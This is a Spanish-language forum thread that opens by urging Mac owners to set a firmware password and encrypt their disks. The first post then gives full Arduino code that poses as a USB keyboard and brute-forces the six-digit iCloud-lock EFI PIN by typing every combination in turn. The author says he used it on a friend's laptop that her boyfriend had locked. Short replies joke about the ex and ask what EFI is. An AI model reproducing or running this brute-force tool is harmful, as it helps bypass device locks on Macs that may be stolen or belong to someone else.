BandaAncha

  • 🔍 en 📰 artículos ⏎
  • 🔍 en 💬 foros ⏎
  • 🔍 en 👇 este 💬 foro ⏎
  • 🔍 en 👇 este 💬 tema ⏎
Regístrate Regístrate Identifícate Identifícate

Poned la dichosa contraseña firmware

vukits
1

Pues eso, ..

si os comprais un mac, es buena idea poner una contraseña firmware .. y cifrar el disco duro ...

aunque se pueda sacar el pass, es complicadillo ..

mientras que si el pin ha sido puesto mediante bloqueo de icloud , estamos hablando de 1 millón de combinaciones, sin limitación de tiempo. (se saca a golpe de efi y fuerza bruta y 'divide y vencerás')..

yo se lo hice al portátil de una amiga, que se lo bloqueó el novio, con un arduino (lo de random lo usé al principio, para disminuir el espacio de soluciones (a golpe de divide y vencerás... ya que cuando en efi encuentras la contraseña, inicia el S.O.... que no es tan benevolente)

/* Arduino USB HID Keyboard Demo
*
*/
uint8_t buf[8] = {
0 }; /* Keyboard report buffer */
void setup()
{
Serial.begin(9600);
randomSeed(analogRead(0));
delay(2000);
}

long minRand=000000;
long maxRand=999999;

long counter=minRand;
char pin[]="xxxxxx";
//dureación pulsación de tecla
int delayDig=10;
//tiempo entre pulsaciones
int delayPuls=20;
int dameNumero (int a)
{
  switch (a)
  {
    case 0:
    return 39;
    case -1:
    return 39-a;
    break;
    default:
    return  39 -(10-a);
    break;
  }

};

void loop()
{

if (counter<=maxRand)
{
   long fakecounter=counter;
   //long fakecounter=dameRand();
   int a0=fakecounter%10;
   fakecounter/=10;
   int a1=fakecounter%10;
   fakecounter/=10;
   int a2=fakecounter%10;
   fakecounter/=10;
   int a3=fakecounter%10;
   fakecounter/=10;
   int a4=fakecounter%10;
   fakecounter/=10;
   int a5=fakecounter%10;

buf[2] = dameNumero(a5); // Random character
Serial.write(buf, 8); // Send keypress
releaseKey();

delay(delayDig);
buf[2] = dameNumero(a4); // Random character
Serial.write(buf, 8); // Send keypress
releaseKey();

delay(delayDig);
buf[2] = dameNumero(a3); // Random character
Serial.write(buf, 8); // Send keypress
releaseKey();

delay(delayDig);
buf[2] = dameNumero(a2);; // Random character
Serial.write(buf, 8); // Send keypress
releaseKey();

delay(delayDig);
buf[2] = dameNumero(a1); // Random character
Serial.write(buf, 8); // Send keypress
releaseKey();

delay(delayDig);
buf[2] = dameNumero(a0); // Random character
Serial.write(buf, 8); // Send keypress
releaseKey();

//intro
delay(delayDig);
buf[2] = dameNumero(-1); // Random character
Serial.write(buf, 8); // Send keypress
releaseKey();
delay(delayDig);

counter++;

};

}

long dameRand()
{
  return random(maxRand);
}
void releaseKey()
{
delay(delayPuls);
buf[0] = 0;
buf[2] = 0;
Serial.write(buf, 8); // Release key
}
heffeque
1

DIgo yo que no se lo ha bloqueado el novio... sino el exnovio más bien, ¿no? :^P

🗨️ 1
vukits

Jaja xD

BocaDePez
-1

No entiendo. Ke es efi?